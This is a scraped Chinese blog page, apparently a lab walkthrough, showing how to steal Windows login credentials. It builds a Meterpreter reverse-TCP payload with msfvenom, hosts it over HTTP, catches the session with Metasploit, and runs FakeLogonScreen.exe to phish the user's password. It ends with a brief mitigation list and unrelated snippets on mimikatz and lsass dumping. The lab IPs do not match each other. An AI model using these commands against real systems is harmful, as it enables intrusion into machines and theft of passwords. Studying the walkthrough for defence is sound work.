FakeLogonScreen抓取Windows凭证

实践中使用的配置

攻击者:

操作系统: Kali Linux 2020.1

IP: 192.168.1.13

目标:

作业系统: Windows 10(Build 18363)

IP: 192.168.1.11

情境

有一个系统与攻击者连接到相同的网络,并且攻击者正在寻找目标系统的凭据。目标已经拥有的信息是IP地址和OS系统的知识。这种信息很容易获得。

有效载荷创建

现在,我开始使用msfvenom工具根据目标系统的OS来制作有效负载。我以LHOST的身份提供了Kali的IP地址。当目标计算机运行Windows时,我将有效负载设置为可以轻松执行的可执行文件。制作有效负载之后,我运行了Python One-liner以创建一个HTTP服务器,该服务器将在目标计算机的端口80上托管有效负载。

msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.233.128 lport=4444 -f exe >> payload.exepython -m SimpleHTTPServer 80

现在,在现实生活中,攻击者将使用某种社会工程攻击来操纵目标用户,以将恶意负载下载到他们的系统上。这可以在进行实际攻击之前很长时间完成。

起始侦听器

由于我们已经准备好并托管了有效负载。现在我们需要启动一个侦听器,在该侦听器中,我们将从有效负载中接收会话。设置正确的配置后,我直接进入目标计算机并执行了有效负载。同样,这是一个实验室环境演示。实际情况会有所不同。

上载FakeLogonScreen可执行文件

在获得Meterpreter会话之后,我们将FakeLogonScreen.exe上载到目标系统。可以在克隆的目录中找到此可执行文件。成功上传后,我们使用shell命令进入目标计算机的命令行。现在,如给定的图像所示,运行可执行文件。

use multi/handlerset payload windows/meterpreter/reverse_tcpset lhost 192.168.233.128set lport 4444runupload FakeLogonScreen.exeshellFakeLogonScreen.exe

在目标端输入凭证

一旦通过外壳运行了可执行文件,目标系统上的所有当前窗口就会最小化,并弹出登录屏幕,如给定的图像所示。这似乎是一个非常真实的登录屏幕。目标用户假定必须有意外注销。因此,为了承担他/她的工作,目标用户在不知不觉中输入了凭据。

现在,为了证明已检查密码,我们首先输入了错误的凭据。登录屏幕返回错误“密码不正确。再试一次”。这证明目标用户必须输入有效的凭据才能通过。

接下来,我们输入了有效的凭据,然后看到所有最小化的窗口都恢复了原来的状态。

拿取凭证

让我们回到攻击者机器上,看看我们是否能够获取这些密码。如下图所示,我们看到FakeLogonScreen侦听器的工作方式类似于按键记录器。我们首先在密码字段中输入“密码错误”,以检查错误的情况。然后,我们输入正确的密码“ 123”,并成功获取了目标用户的密码。

附加信息

我们先前下载的zip文件中还有另一个可执行文件。它被命名为“ FakeLogonScreenToFile.exe”。该文件的工作方式类似,但是除了显示密码外,还将密码存储在以下位置:

%LOCALAPPDATA%\ Microsoft \ user.db

该工具也可以在Windows 7上使用。尽管已经达到其终止寿命,但仍有大量系统在生产环境中运行Windows 7。如果需要,可以在“ DOTNET35”目录中找到它。

您还可以集成此工具以与Cobalt Strike一起使用。在这里查看

缓解措施

  • 验证下载源。
  • 监视AppData目录中的user.db文件。
  • 正确检查登录屏幕中的所有链接。
  • 实施较短的密码更改策略。

FakeLogonScreen抓取Windows凭证的更多相关文章

  1. mimikatz2.0抓取WINDOWS密码

    看吾爱的,刚好问同事说这个也用过,以后内网渗透的话比较方便 http://www.52pojie.cn/thread-264895-1-1.html ========================= ...

  2. 抓取windows系统进程

    最近在开发辅流分享界面,然后之前的windows编程的代码都忘记了,翻到了一个博客,具体的还是去msdn去查函数,这个是入门的链接如下: http://blog.csdn.net/zdragon200 ...

  3. 从网页上抓取Windows补丁信息然后整型输出(Python)

    Powershell实现:http://www.cnblogs.com/IvanChen/p/4488246.html 今天通过Python实现: # coding=utf-8 import re i ...

  4. 绕过杀毒软件抓取windows密码

    使用procdump,由于是微软的东西,带微软签名杀软不会报毒. procdump -accepteula -ma lsass.exe lsass.dmp copy出 lsass.dmp到本机. mi ...

  5. 从网页上抓取Windows补丁信息然后整型输出(PowerShell)

    $report = [pscustomobject]@{'Date' = $null; 'MSRC' = $null; 'KB' = $null; 'Severity' = $null; 'Versi ...

  6. windows密码抓取工具-mimikatz

    前言 介绍一下windows的密码hash值的组成: Windows系统下的hash密码格式为:用户名称:RID:LM-HASH值:NT-HASH值,例如: Administrator::C8825D ...

  7. 【Azure 应用服务】App Service For Linux 如何在 Web 应用实例上住抓取网络日志

    问题描述 在App Service For Windows的环境中,我们可以通过ArmClient 工具发送POST请求在Web应用的实例中抓取网络日志,但是在App Service For Linu ...

  8. windows中抓取hash小结(上)

    我上篇随笔说到了内网中横向移动的几种姿势,横向移动的前提是获取了具有某些权限的用户的明文密码或hash,正愁不知道写点啥,那就来整理一下这个"前提"-----如何在windows系 ...

  9. Windows Phone & Windows App应用程序崩溃crash信息抓取方法

    最近有用户反馈,应用有崩溃的情况,可是本地调试却无法重现问题,理所当然的,我想到了微软的开发者仪表盘,可以查看一段时间内的carsh记录,不过仪表盘生成carsh记录不是实时的,而且生成的报告查看非常 ...

随机推荐

  1. Java多线程的创建(二)

    前言: 虽然java的API中说创建多线程的方式只有两种(There are two ways to create a new thread of execution),分别是继承Thread类创建和 ...

  2. 一张图快速上手Xmind思维导图

    使用软件:Xmind8 pro版(可在网上找破解版),应用广泛,功能强大

  3. springboot的yml不显示的原因

    首先排除插件原因 1 安装好插件Ctrl+Alt+S 2 查看修改的application.yml是什么格 在yaml格式中添加*.yaml和*.yml 3 查看maven是否配置完善

  4. CF6B President's Office 题解

    看到大致思路一致的题解,决定发一篇运用STL不用dfs的题解     好久不发题解,心里不爽 思路: 1.输入的同时找到总统桌子的位置,用vector<pair <int,int> ...

  5. synchronized的使用

    概念: 是利用锁的机制来实现同步的. 锁机制有如下两种特性: 互斥性:即在同一时间只允许一个线程持有某个对象锁,通过这种特性来实现多线程中的协调机制,这样在同一时间只有一个线程对需同步的代码块(复合操 ...

  6. .net core 常见设计模式-IChangeToken

    场景 一个对象A,希望它的某些状态在发生改变时通知到B(或C.D),常见的做法是在A中定义一个事件(或直接用委托),当状态改变时A去触发这个事件.而B直接订阅这个事件 这种设计有点问题B由于要订阅A的 ...

  7. selenium,统计某分支下有多少个同类子分支的方法(用于循环获取同类型子分支属性值)

    利用selenium自动化统计微博阅读数 查看微博阅读数的元素路径 微博列表中第一条微博的元素路径“//*[@id="Pl_Official_MyProfileFeed__20"] ...

  8. PowerCat DNS 隧道通信

    powercat 也是一套基于 DNS 通信协议的工具.Powercat的dns的通信是基于dnscat设计的(其服务端就是dnscat).在使用dnscat时需要进行下载和编译. dnscat服务端 ...

  9. BOM DOM 注意事項

    setTimeout(js,時間)  js处 应该放一个函数 不能放 alert  confirm 等 (否则延时会失效) setTimeout()   和 setInterval() 的区别:    ...

  10. postman的简单介绍及运用

    postman下载地址 https://www.getpostman.com/downloads/ postman的工作原理:发送请求给服务器,服务器处理postman发送的数据然后返回给postma ...